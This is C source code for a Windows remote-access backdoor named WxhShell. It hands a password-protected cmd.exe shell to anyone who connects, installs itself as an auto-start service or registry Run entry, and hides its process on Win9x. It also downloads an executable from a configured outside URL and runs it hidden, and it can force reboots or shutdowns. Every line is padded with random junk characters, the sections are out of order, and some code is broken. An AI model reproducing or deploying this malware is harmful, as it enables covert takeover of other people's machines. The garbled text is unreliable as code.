    if(Boot(SHUTDOWN)) +3;Ody"59  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g:_hj_1Y M  
    else { ;1 |x  
    closesocket(wsh); ~^&R#4J  
    ExitThread(0); II;Te7~  
    } ~.Cv DJy  
    break; @RGDhwS47  
    } CbOCk:,g5  
  // 获取shell Stxp3\jEn  
  case 's': { q\R q!7(  
    CmdShell(wsh); #{$1z;i?f  
    closesocket(wsh); sw$2d  
    ExitThread(0); H\E7o" m  
    break; %X>FVlPm  
  } gO='A(Y  
  // 退出 WULAty  
  case 'x': { =A@>I0(7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qZ*f%L(  
    CloseIt(wsh); '^iUx,,ZQ  
    break; v^SsoX>WMH  
    } ?^9BMQ+  
  // 离开 R4{-Qv#8 q  
  case 'q': { E1  |<Pt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x7dEo%j  
    closesocket(wsh); cJDd0(tD!  
    WSACleanup(); M-J<n>hl  
    exit(1); nBz`q+V  
    break; OQp, 3 M{_  
        } T#EFXHPr  
  } FI"HJwAs  
  } L0Y0&;y|R  
=gjDCx$|  
  // 提示信息 53Yxz3v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yK1ie  
} [A5W+pDm  
  } _?`&JF?*  
gKo%(6{n~  
  return; a460|w6  
} 7Xg?U'X  
WC*=rWRxF  
// shell模块句柄 rrqQCn9  
int CmdShell(SOCKET sock) gEwd &J  
{ Gb2L }  
STARTUPINFO si; 4^*,jS-9g}  
ZeroMemory(&si,sizeof(si)); q .J sf+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &|9.}Z8U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h2~4G)J  
PROCESS_INFORMATION ProcessInfo; 9b"MQ[B4#a  
char cmdline[]="cmd"; UDEj[12S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tfYB_N  
  return 0; |3shc,7  
} F~HRME; Z  
5o)Y$>T0  
// 自身启动模式 '<dgT&8C  
int StartFromService(void) h Dk)Qg  
{ epg#HNP7^Y  
typedef struct J !HjeZ  
{ g(Yb^'X/  
  DWORD ExitStatus; ,Na^%A@TJ  
  DWORD PebBaseAddress; i"r!w|j  
  DWORD AffinityMask; 65TfFcQ<S  
  DWORD BasePriority; &GhPvrxI?  
  ULONG UniqueProcessId; CnISe^h  
  ULONG InheritedFromUniqueProcessId; uw AwWgl  
}   PROCESS_BASIC_INFORMATION; G[,Q95`w?<  
wN=;i#  
PROCNTQSIP NtQueryInformationProcess; S($Su7g%_  
0 1V^L}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iW%8/$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V}WB*bE  
x Q4%e[/  
  HANDLE             hProcess; u92^(|  
  PROCESS_BASIC_INFORMATION pbi; xSMt*]=9  
5/MKzoB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fv!?Ga(  
  if(NULL == hInst ) return 0; +B}0=Ex$t  
lDxc`S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~P .I<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Iu[|<Cx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lpB3&H8&  
%NHkDa!  
  if (!NtQueryInformationProcess) return 0; 2]cRXJ7h  
bBc[bc>R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O+vS|  
  if(!hProcess) return 0; ;30nd=  
XH}'w9VynR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PG~$D];  
a<~77~"4wn  
  CloseHandle(hProcess); eHiy,IN  
47K1$3P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tDg}Ys=4K>  
if(hProcess==NULL) return 0; )2IH 5  
[ic870_  
HMODULE hMod; *Hz^K0:8(  
char procName[255]; f+_h !j  
unsigned long cbNeeded; Z?5V4F:f  
=O).Lx2J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 457\&  
` Ag{)  
  CloseHandle(hProcess); **3 z;58i  
9iUrnG*  
if(strstr(procName,"services")) return 1; // 以服务启动 q 11IkDa  
%D g0fL  
  return 0; // 注册表启动 @Fp_^5  
} G` XC  
4)|8Eu[p7  
// 主模块 phnV7D(E  
int StartWxhshell(LPSTR lpCmdLine) VHJM*&5  
{ -h|B1*mt  
  SOCKET wsl; 5,-U.B}  
BOOL val=TRUE; },+wJ1  
  int port=0; ,'xYlH3s  
  struct sockaddr_in door; *37uy_EpV  
L>y J  
  if(wscfg.ws_autoins) Install(); W\&8au ds  
x^4xq#Bb7  
port=atoi(lpCmdLine); Qx;\USv  
U4aU}1RKz  
if(port<=0) port=wscfg.ws_port; /='. 4 v  
]vWKR."4  
  WSADATA data; VXIP0p@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z|EEVNFd&  
Sz- J y:j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p2Zo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Bp8'pj;~  
  door.sin_family = AF_INET; F *FwRj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  ks$JP6  
  door.sin_port = htons(port); u/cg|]x&T  
a,2'+Tlo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8V^oP] Y  
closesocket(wsl); =6"2UC&  
return 1; -gSUjP  
} ])xx<5Jt4  
P:30L'.=[  
  if(listen(wsl,2) == INVALID_SOCKET) { 5?hw !  
closesocket(wsl);  A) ;  
return 1; mEw ~yOW]M  
} X.hm s?]  
  Wxhshell(wsl); vnWWneeNr  
  WSACleanup(); ]gYz 4OT  
~0beuK&p  
return 0; kY*rb_2j  
L#E] BY  
} yW$0\E6<r  
N"nd*?  
// 以NT服务方式启动 DxUKUE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .C8PitS  
{ 4"gM<z  
DWORD   status = 0; {}3${  
  DWORD   specificError = 0xfffffff; !O`(JSoG  
;\f gF@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E_vq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s2Mb[#:a"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; { ^cV lC_  
  serviceStatus.dwWin32ExitCode     = 0; su*'d:L  
  serviceStatus.dwServiceSpecificExitCode = 0; %Ev4]}2C1  
  serviceStatus.dwCheckPoint       = 0; tmQH|'>>  
  serviceStatus.dwWaitHint       = 0; 8 7D*-Gw  
/YZr~|65  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xuqv6b.  
  if (hServiceStatusHandle==0) return; a)wJT`xu  
.zi_[  
status = GetLastError(); u(fm@+$^  
  if (status!=NO_ERROR) R8ZK]5{o  
{ rg^'S1x|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e" St_z(  
    serviceStatus.dwCheckPoint       = 0; j'A_'g'^  
    serviceStatus.dwWaitHint       = 0; dBz/7&Q   
    serviceStatus.dwWin32ExitCode     = status; 7=;R& mqC  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z'"tB/=W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :]\([Q+a  
    return; eEuvl`&  
  } _d5QbTe  
"wNJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9I}-[|`u  
  serviceStatus.dwCheckPoint       = 0; ,6-:VIHQ  
  serviceStatus.dwWaitHint       = 0; Wk)OkIFR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7@D@ucL  
}  #"@|f  
*MKO I'  
// 处理NT服务事件,比如:启动、停止 OCNQvF~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G"h'_7  
{ 03q 5e  
switch(fdwControl) < jJ  
{ OX\A|$GS  
case SERVICE_CONTROL_STOP: 3yVMXK  
  serviceStatus.dwWin32ExitCode = 0; 59h)-^!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wB.&}p9p  
  serviceStatus.dwCheckPoint   = 0; C{U?0!^  
  serviceStatus.dwWaitHint     = 0; &5yV xL:  
  { H{Wu]C<@p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A~)D[CV  
  } vSEuk}pk  
  return; y*qVc E  
case SERVICE_CONTROL_PAUSE: #d6)#:uss  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YNQY4\(  
  break; <0Xf9a8>  
case SERVICE_CONTROL_CONTINUE: \W~ N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =vX/{C  
  break; gEy?s8_,  
case SERVICE_CONTROL_INTERROGATE: [ CQ+p!QZ  
  break; h2G$@8t}I  
}; Q+[n91ey**  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :tV*7S=)  
} x(1:s|Uyp{  
Fld=5B^}  
// 标准应用程序主函数 AE[b},-[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JRB9rSN^  
{ l3)} qu  
4h|c<-`>t  
// 获取操作系统版本 pR=@S>!|  
OsIsNt=GetOsVer(); Ayxkv)%:@)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uXn1 'K<'2  
uvkz'R=  
  // 从命令行安装 c2l@6<Ww  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0XE4<U   
eA2@Nkw~)  
  // 下载执行文件 ofm#'7P 0  
if(wscfg.ws_downexe) { -|$@-fY;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rC5 p-B%  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,E S0NA  
} KcWN,!G  
l+KY)6o  
if(!OsIsNt) { +^60T$  
// 如果时win9x,隐藏进程并且设置为注册表启动 TM%| '^)  
HideProc(); ]cHgleHQ  
StartWxhshell(lpCmdLine); )_YX DU  
} 9X}10u:  
else ]_f_w 9]  
  if(StartFromService()) |d{PA.@33  
  // 以服务方式启动 D4eDHq  
  StartServiceCtrlDispatcher(DispatchTable); Q /U2^  
else P3x8UR=fS  
  // 普通方式启动 gb[5&> (#  
  StartWxhshell(lpCmdLine); "L IF.)  
9ijfRqI=x  
return 0; 3l rT3a3vV  
} 11 Q1AN  
0CnOL!3.I  
em%4Ap  
Ni9/}bb  
=========================================== <? q?Mn  
?WGA?J %2  
%~4M+r6T  
-_=nDH  
,LHn90S  
3c-GY:VkLM  
" ~~D{spMVO  
}bb;~  
#include <stdio.h>  dm\F  
#include <string.h> 8V'~UzK  
#include <windows.h> |3(' N#|  
#include <winsock2.h> 1+_`^|eK  
#include <winsvc.h> )1?y 8_B  
#include <urlmon.h> f z'@_4hg  
LBw1g<&  
#pragma comment (lib, "Ws2_32.lib") g];!&R-  
#pragma comment (lib, "urlmon.lib") p_RsU`[  
[_BP)e  
#define MAX_USER   100 // 最大客户端连接数 d[iQ` YW5  
#define BUF_SOCK   200 // sock buffer g|o,uD  
#define KEY_BUFF   255 // 输入 buffer qU \w=  
Q *D;U[  
#define REBOOT     0   // 重启 qqjwJ!@P  
#define SHUTDOWN   1   // 关机 k =>oO9`  
.Y tKS  
#define DEF_PORT   5000 // 监听端口 w'>pY  
R$R *'l  
#define REG_LEN     16   // 注册表键长度 !z\h| wU+  
#define SVC_LEN     80   // NT服务名长度 j*|VctM  
=/@D8{pU  
// 从dll定义API 0{5w 6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S,88*F(<^q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tH!]Z4}u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R)c?`:iUB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /2&c$9=1  
LQ@"Xe]5  
// wxhshell配置信息 ;YaQB#GK%  
struct WSCFG { 6fkRrD  
  int ws_port;         // 监听端口 0CHH)Bku  
  char ws_passstr[REG_LEN]; // 口令 5?f ^Rz  
  int ws_autoins;       // 安装标记, 1=yes 0=no Akq2 d;  
  char ws_regname[REG_LEN]; // 注册表键名 NDN7[7E  
  char ws_svcname[REG_LEN]; // 服务名 nGC/R&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^}RCoE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %Hu5K>ZNYp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VF+KR*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Sj3+l7S?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p?02C# p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2R[:]-b  
aS>u,=C  
}; K%t*8 4j  
Kew@&j~  
// default Wxhshell configuration j`EXlc~  
struct WSCFG wscfg={DEF_PORT, ))qy;Q,  
    "xuhuanlingzhe", C"y(5U)d  
    1, dn& s*  
    "Wxhshell", #NQMy:JHD)  
    "Wxhshell", .j ?W>F  
            "WxhShell Service", !Z1@}`V&;  
    "Wrsky Windows CmdShell Service", 0 j^Kgx  
    "Please Input Your Password: ", B`EJb71^Xy  
  1, l5~os>  
  "http://www.wrsky.com/wxhshell.exe", d9k0F OR1  
  "Wxhshell.exe" ]a>n:p]e  
    }; 1a/++4O.|  
YX!iL6?~  
// 消息定义模块 N"Z{5A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~]sc^[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; irZ])a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 49eD1h3'X[  
char *msg_ws_ext="\n\rExit."; |44Ploz2b  
char *msg_ws_end="\n\rQuit."; M$ wC=b  
char *msg_ws_boot="\n\rReboot..."; R7%#U`Q^A  
char *msg_ws_poff="\n\rShutdown..."; +V2F#fI/  
char *msg_ws_down="\n\rSave to "; \UA[  
(|2t#'m  
char *msg_ws_err="\n\rErr!"; ."g`3tVK  
char *msg_ws_ok="\n\rOK!"; B.=FSow  
.7J#_* N V  
char ExeFile[MAX_PATH]; RTYvS5 G  
int nUser = 0; <3n Mx^  
HANDLE handles[MAX_USER]; )Om*@;r(  
int OsIsNt; ~-k9%v`  
jV i) Efy  
SERVICE_STATUS       serviceStatus; td$E/h=3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IYv`IS"  
x5pdS:  
// 函数声明 _T60;ZI+^  
int Install(void); 'B |JAi?  
int Uninstall(void); ?d*z8w  
int DownloadFile(char *sURL, SOCKET wsh); @@f"%2ZR[  
int Boot(int flag); GC-5X`Sq  
void HideProc(void); .e#w)K  
int GetOsVer(void); x[p|G5  
int Wxhshell(SOCKET wsl); KR} ?H#%  
void TalkWithClient(void *cs); 9+|$$)  
int CmdShell(SOCKET sock); U4'#T%*  
int StartFromService(void); 6bg ;q(*7  
int StartWxhshell(LPSTR lpCmdLine); sJKI!   
=nHUs1rKn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Lj({[H7D!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PI {bmZ  
RU|Q ]Ymx  
// 数据结构和表定义 x>K Or,f  
SERVICE_TABLE_ENTRY DispatchTable[] = 4Z3su^XR  
{ 1C+13LE$U  
{wscfg.ws_svcname, NTServiceMain}, "Bkfoi  
{NULL, NULL} iqsCB%;5  
}; cVv=*81\  
`bq<$e  
// 自我安装 w7L{_aom  
int Install(void) b! t0w{^w  
{ rI{; IDV  
  char svExeFile[MAX_PATH]; Z-%\ <zT  
  HKEY key; ic:zsuEm  
  strcpy(svExeFile,ExeFile); b`Zx!^  
lf|FWqqV  
// 如果是win9x系统,修改注册表设为自启动 s S+MqBh&I  
if(!OsIsNt) { 'ms-*c&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }rUN_.n4z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |"}FXa O  
  RegCloseKey(key); "S[450%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (MM]N=Tw4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yZY\MB/  
  RegCloseKey(key); i}f"yO+Q+  
  return 0; iQ67l\{R  
    } )MVz$h{c.]  
  } Pm6p v;WK  
} K-)] 1BG  
else { zaIKdI'/e  
ELoDd&d8  
// 如果是NT以上系统,安装为系统服务 h8q[1"a:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n` _{9R  
if (schSCManager!=0) ,&A7iO  
{ dl)Y'DI  
  SC_HANDLE schService = CreateService [\e eDa  
  ( Z?q] bSIT  
  schSCManager, C}j"Qi`  
  wscfg.ws_svcname, N{!i=A  
  wscfg.ws_svcdisp, 5{WE~8$  
  SERVICE_ALL_ACCESS, UW={[h{.|@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @D[_}JE  
  SERVICE_AUTO_START, Y1\}5k{>  
  SERVICE_ERROR_NORMAL, `,(4]tlL  
  svExeFile, B:Oa}/H   
  NULL, #P9~}JB3,  
  NULL, /{J4:N'B>  
  NULL, d'gfQlDny  
  NULL, F~vuM$+d  
  NULL ,2oWWsC7  
  ); C3f' {}  
  if (schService!=0) ! I:%0D  
  { Tk[ $5u*,  
  CloseServiceHandle(schService); )r?}P1J7  
  CloseServiceHandle(schSCManager); _yx>TE2e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VT)oLj/A  
  strcat(svExeFile,wscfg.ws_svcname); \.{$11P#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _ A y9p[l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |3b^~?S  
  RegCloseKey(key); G$"h&Xy1c  
  return 0; ?4}h&/  
    } xIW3={b3  
  } wU36sCo  
  CloseServiceHandle(schSCManager); ~vhE|f  
} Q$W  
} O:R*rJ  
,8uqdk-D  
return 1; s\(k<Ks  
} |^I0dR/w:  
gs[uD5oo<  
// 自我卸载 %wg -=;d4  
int Uninstall(void) &t@jl\ND  
{ S3%FHS  
  HKEY key;  -);Wfs  
\:'/'^=#|  
if(!OsIsNt) { Rok7n1gW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UgSB>V<?  
  RegDeleteValue(key,wscfg.ws_regname); O6 3<AY@  
  RegCloseKey(key); 2wg5#i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |A~jsz6pI  
  RegDeleteValue(key,wscfg.ws_regname); I_#kgp  
  RegCloseKey(key); ^/>(6>S^M  
  return 0; x+:UN'"r  
  } mDABH@ R  
} M)+H{5bt  
} /Iy]DU8  
else { SM#]H-3  
!Pvf;rNI1T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gfd"v  
if (schSCManager!=0) g)[V(yWu  
{ *%NT~C q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /t57!&  
  if (schService!=0) ~H_/zK6e  
  { nNV'O(x}  
  if(DeleteService(schService)!=0) { =:Fc;n>c<K  
  CloseServiceHandle(schService); Fnv;^}\z  
  CloseServiceHandle(schSCManager); }eU*( }<^  
  return 0; x /S}Q8!"}  
  } sf qL|8  
  CloseServiceHandle(schService); \ a<h/4#|  
  } k,6f &#x  
  CloseServiceHandle(schSCManager); jD]~ AwRJ  
} N^G Mp,8  
} IqHV)A  
x"=f+Mr  
return 1; wk D^r(hiH  
} r'r%w#=`t  
:{v#'U/^  
// 从指定url下载文件 Yui3+}Ms  
int DownloadFile(char *sURL, SOCKET wsh) F#Ryu~,"  
{ 3{64 @s  
  HRESULT hr; #4% ]o%.  
char seps[]= "/"; O, wJR  
char *token; K(rWNO  
char *file; _ QI\  
char myURL[MAX_PATH]; z+wA rPxc  
char myFILE[MAX_PATH]; !u[9a;Sa#  
}5[qo`M  
strcpy(myURL,sURL);  / }X1W  
  token=strtok(myURL,seps); '~<m~UXvD#  
  while(token!=NULL) K`WywH3-  
  { Wx}8T[A}  
    file=token; %#:{UR)E  
  token=strtok(NULL,seps); yCR?UH;  
  } WIT>!|w_  
@Zu5VpJ  
GetCurrentDirectory(MAX_PATH,myFILE); ;O6;.5q&  
strcat(myFILE, "\\"); |Nn)m  
strcat(myFILE, file); RDi]2  
  send(wsh,myFILE,strlen(myFILE),0); o Q2Fjj  
send(wsh,"...",3,0); `Bp.RXsd*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *uf'zQ<9  
  if(hr==S_OK) 8 &LQzwa  
return 0; +b<FO+E_  
else $E~`\o%Ev  
return 1; _\G"9,)u '  
L|:`^M+^w  
} nZyX|SPk  
[Cz-i  
// 系统电源模块 Q5`*3h6p=  
int Boot(int flag) kQSy+q  
{ /QWvW=F2<  
  HANDLE hToken; ay ;S4c/_  
  TOKEN_PRIVILEGES tkp; u@UMP@"#  
=,=A,kI[;  
  if(OsIsNt) { /GN<\_o=q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  SI-qC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _x'6]f{n  
    tkp.PrivilegeCount = 1; ,X-bJA@(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F=e8IUr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \BTODZ:h  
if(flag==REBOOT) { zuad~%D<I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 85:=4N%  
  return 0; XbKYiy  
} r&JgLC(   
else { 4y?n [/M/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `l ^9/_g'6  
  return 0; L-WT]&n_  
} )._;~z!  
  } z6=Z\P+  
  else { Oi'5ytsES  
if(flag==REBOOT) { _[c0)2h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =JEv,ZGT3  
  return 0; 6:[dj*KGmT  
} VU(v3^1"  
else { fI}to&qk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -`kW&I0  
  return 0; W0@n/U  
} %COX7gV  
} eK?MKe  
t7Iv?5]N  
return 1; HZC"nb}r4  
} x.!V^HQSN  
ZF9z~9  
// win9x进程隐藏模块 t;}|tgC  
void HideProc(void) l'-Bu(  
{ s4y73-J^.v  
zm5]J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wx= $2N6  
  if ( hKernel != NULL ) ?}tFN_X"  
  { *=/ { HvJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +US!YU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |&+ o^  
    FreeLibrary(hKernel); W.f/pu  
  } 9}!qR|l3nR  
!*d I|k  
return; (&F}/s gbi  
} XH4  
%+W{iu[|  
// 获取操作系统版本 r1`x=r   
int GetOsVer(void) |P HT694Uz  
{ JxdDC^> 0  
  OSVERSIONINFO winfo; s 8jV(P(O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7hD>As7`/  
  GetVersionEx(&winfo); _ @NL;w:!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kzQ+j8.,U  
  return 1; X; \+<LE  
  else &ZlVWK~v  
  return 0; =vCY?I$P  
} zII|9y  
)hn6sXo+  
// 客户端句柄模块 u^ +7hkk  
int Wxhshell(SOCKET wsl) DZ'P@f)]  
{ {0Yf]FQb-a  
  SOCKET wsh; r;.yz I  
  struct sockaddr_in client; *SbMqASv4G  
  DWORD myID; taHJ ub  
vAF "n  
  while(nUser<MAX_USER) ,F8Yn5h  
{ gZ3u=uME  
  int nSize=sizeof(client); Xv5wJlc!d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D[[|")Fn  
  if(wsh==INVALID_SOCKET) return 1; r"gJX  
^B.5GK)!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p?%y82E  
if(handles[nUser]==0) c \J:![x  
  closesocket(wsh); Y1W1=Uc uk  
else K,;E5  
  nUser++; ~tS Z%q  
  } J9--tJ?[>o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G#q@v(_b  
TTX5EDCrC  
  return 0; i4Q@K,$  
} O'p9u@kc  
Uou1mZz/  
// 关闭 socket #?aPisV X>  
void CloseIt(SOCKET wsh) mUAi4N  
{ e\`&p  
closesocket(wsh); MC&` oX[  
nUser--; Tj` ,Z5vy  
ExitThread(0); 5K1)1E/Fu  
} bivuqKA  
.,|G7DGH]  
// 客户端请求句柄 m/@wh a  
void TalkWithClient(void *cs) k<nZ+! M  
{ ,GhS[VJjR  
,hm\   
  SOCKET wsh=(SOCKET)cs; YlJ@XpKM  
  char pwd[SVC_LEN]; lV3x*4O=  
  char cmd[KEY_BUFF]; e{'BAj  
char chr[1]; Fc)@,/R"v  
int i,j; \g`\`e53?  
d=$Mim  
  while (nUser < MAX_USER) { Z!a =dnwHz  
`!3SF|x&  
if(wscfg.ws_passstr) { Zgp4`)}:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tt`u:ZwhF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #'nr Er <  
  //ZeroMemory(pwd,KEY_BUFF); P+ 3G~Sr  
      i=0; xf\C|@i  
  while(i<SVC_LEN) { e9Wa<i 8  
hE'-is@7  
  // 设置超时 [: n'k  
  fd_set FdRead; +5g_KS  
  struct timeval TimeOut; &T?RZ2  
  FD_ZERO(&FdRead); TPQ%L@^ L+  
  FD_SET(wsh,&FdRead); wv>^0\o  
  TimeOut.tv_sec=8; htO +z7  
  TimeOut.tv_usec=0; Y!aSs3c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kUL' 1!j7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RtkEGxw*^  
Y #ap*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _P#|IAq*  
  pwd=chr[0]; bI7Vwyz  
  if(chr[0]==0xd || chr[0]==0xa) { dK$XNi13.5  
  pwd=0; U|H=Y"pL  
  break; 6##_%PO<m  
  } ;0]aq0_#(  
  i++; xk9%F?)  
    } IEL%!RFG  
6fE7W>la  
  // 如果是非法用户,关闭 socket [t m_Mg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b i',j0B  
} :;%2BSgFU  
K C*e/J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y;m|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "=HA Y  
B {n,t}z  
while(1) { ANAVn@ [  
jKz$@gP  
  ZeroMemory(cmd,KEY_BUFF); y>8sZuH0  
nSDMOyj+  
      // 自动支持客户端 telnet标准   4@+`q *  
  j=0; CCs%%U/=  
  while(j<KEY_BUFF) { NR$3%0 nC6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W 8<&gh+  
  cmd[j]=chr[0]; kP=eW_0D  
  if(chr[0]==0xa || chr[0]==0xd) { H5/6TX72N  
  cmd[j]=0; ]#i igPZ7  
  break; @o].He@L<j  
  } B-RjMxX4>  
  j++; ].avItg  
    } r8t}TU>C  
j7Yu>cr  
  // 下载文件 @Myo'{3vF  
  if(strstr(cmd,"http://")) { YH}'s>xZz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nUaJzPl  
  if(DownloadFile(cmd,wsh)) WMDl=6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gi3F` m  
  else rET\n(AJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x;O[c3I  
  } ~gJwW+  
  else { R+hU8 pu  
MVpGWTH@F  
    switch(cmd[0]) { ~p6 V,Q  
  EgEa1l!NSQ  
